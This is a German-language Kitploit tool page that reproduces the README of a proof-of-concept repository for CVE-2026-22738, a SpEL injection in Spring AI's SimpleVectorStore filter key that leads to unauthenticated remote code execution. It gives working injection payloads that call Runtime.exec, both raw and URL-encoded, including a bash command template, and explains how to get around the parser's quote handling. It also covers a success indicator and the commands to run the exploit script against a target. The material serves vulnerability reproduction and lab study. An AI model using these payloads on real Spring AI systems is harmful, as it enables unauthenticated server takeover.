Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-22738 — SpEL-Injection über unescapten Filter-Key in SimpleVectorStore führt zu Remote Code Execution | Kitploit
Tools/GitHubGitHub/rockmelodies/cve-2026-22738
SchwachstellenanalyseExploitationWebanwendungs-ExploitationLernen & BildungPayload-EntwicklungRemote-Access-Trojaner
GitHubrockmelodies/cve-2026-22738

CVE-2026-22738

SpEL-Injection über unescapten Filter-Key in SimpleVectorStore führt zu Remote Code Execution

Repository anzeigen
21vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-22738 Reproduktionsumgebung

img.png

Schwachstellenbeschreibung

CVE-2026-22738 ist eine SpEL-Injection-Schwachstelle (Spring Expression Language) in Spring AI SimpleVectorStore, die eine nicht authentifizierte Remote-Code-Ausführung (RCE) ermöglicht.

Betroffene Versionen

ArtifactBetroffene VersionenBehobene Version
org.springframework.ai:spring-ai-core1.0.0 – 1.0.41.0.5
org.springframework.ai:spring-ai-core1.1.0-M1 – 1.1.31.1.4

Hinweis: Dieses Projekt verwendet die offizielle Version spring-ai-core:1.0.0 zur Reproduktion der Schwachstelle.

Fix-Commit: ba9220b22383e430d5f801ce8e4fa01cf9e75f29

Funktionsweise der Schwachstelle

Die Methode SimpleVectorStore.similaritySearch() übergibt den vom Benutzer bereitgestellten Filter-Schlüsselnamen unverändert an die SpEL-Vorlage, die mit StandardEvaluationContext ausgewertet wird. Da StandardEvaluationContext die vollständige JVM-Reflection-API offenlegt, kann ein Angreifer Folgendes injizieren:

root@kitploit:~
T(java.lang.Runtime).getRuntime().exec(...)

Das Hinzufügen des Filter-Schlüssels führt zu einer nicht authentifizierten Ausführung von Betriebssystembefehlen.

Reproduktion der Schwachstelle

Verwenden Sie den folgenden Payload. Beachten Sie, dass eine URL-Kodierung erforderlich ist:

root@kitploit:~
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"

%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22

Übergeben Sie den Payload an den Parameter filterKey. Der Rechner wird erfolgreich geöffnet. img_1.png

Umgehungsdetails

Eine einfache Injektionsmethode funktioniert nicht direkt – zwei Eigenheiten des Parsers müssen überwunden werden:

  1. Entfernung einfacher Anführungszeichen — Ein Schlüssel, der mit einem einfachen Anführungszeichen ' beginnt, wird als Zeichenfolge in Anführungszeichen behandelt; die äußeren Anführungszeichen werden entfernt, wodurch der Payload beschädigt wird.

  2. Doppelte Anführungszeichen als Wrapper — Das Umschließen des Payloads mit doppelten Anführungszeichen "..." führt dazu, dass der Parser die äußeren doppelten Anführungszeichen entfernt, wodurch der innere SpEL-Ausdruck als Schlüsselwert #metadata['<KEY>'] erhalten bleibt, der an den Parser übergeben wird.

  3. Leerer Metadaten-Schlüssel — Die Verwendung von #metadata[''] auf beiden Seiten des injizierten Ausdrucks (anstelle einer undefinierten Variablen) vermeidet den SpEL-Fehler "unknown variable" und löst dennoch exec() aus.

Der berechnete Ausdruck hat die folgende Form:

root@kitploit:~
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'

Erfolgsindikator

Der HTTP-Antworttext enthält den SpEL-Laufzeitfehler EL1030E:

root@kitploit:~
operator ADD not supported between null and java.lang.ProcessImpl

Dieser Fehler wird nach der Rückkehr von exec() ausgelöst und bestätigt die Ausführung von Betriebssystembefehlen ohne Out-of-Band-Callback.

Einrichtung der Umgebung

Voraussetzungen

  • Docker und Docker Compose
  • Python 3 + requests-Bibliothek (pip install requests)

Schwachstellenumgebung erstellen und ausführen

root@kitploit:~
# Container erstellen und starten
docker compose up -d --build

# Logs anzeigen
docker compose logs -f

Exploit-Skript ausführen

root@kitploit:~
# Abhängigkeiten installieren
pip install requests

# Exploit ausführen (auf Anwendungsstart warten)
python3 exploit.py --wait

# Oder Ziel angeben
python3 exploit.py --target http://localhost:8082 --wait

Parameterbeschreibung

FlagStandardwertBeschreibung
--targethttp://localhost:8082Basis-URL der verwundbaren Anwendung
--waitAusPolling, bis das Ziel bereit ist (nützlich nach docker compose up)

Hinweis: Docker Desktop (macOS/Windows) verwendet host.docker.internal für Callbacks, 127.0.0.1-Payloads.

Exploit-Schritte

Der Proof-of-Concept-Ablauf umfasst fünf aufeinanderfolgende Schritte:

  1. Basisprüfung — Bestätigen, dass der Endpunkt erreichbar ist und Seed-Daten zurückgibt
  2. Blinde SpEL-Sonde — Injektionspunkt über das Lesen von java.version durch T(java.lang.System) bestätigen
  3. RCE: touch /tmp/pwned_cve_2026_22738 innerhalb des Containers
  4. RCE: Ausgabe von id // uname // hostname in /tmp/rce_proof.txt schreiben
  5. Verifizierung: Inhalt der Proof-Datei über docker exec ausgeben und verifizieren

Projektstruktur

root@kitploit:~
├── Dockerfile                    # Docker-Build-Datei
├── docker-compose.yml            # Docker-Compose-Konfiguration
├── pom.xml                       # Maven-Projektkonfiguration
├── settings.xml                  # Maven-Einstellungen (enthält Spring-Repository)
├── exploit.py                    # Exploit-Skript
└── src/main/java/com/example/spelrce/
    ├── SpelRceLabApplication.java    # Spring-Boot-Hauptklasse
    ├── VulnController.java           # Verwundbarer Controller
    ├── VectorStoreConfig.java        # VectorStore-Konfiguration
    └── DummyEmbeddingModel.java      # Simuliertes Embedding-Modell

Lokaler Test (ohne Docker)

root@kitploit:~
# Projekt kompilieren
mvn clean package -DskipTests

# Anwendung ausführen
java -jar target/spel-rce-lab-1.0.0.jar

# Exploit in einem anderen Terminal ausführen
python3 exploit.py --target http://localhost:8082

Referenzen

  • CVE-2026-22738
  • Spring-AI-Fix-Commit
  • Originales PoC-Projekt
Tool herunterladen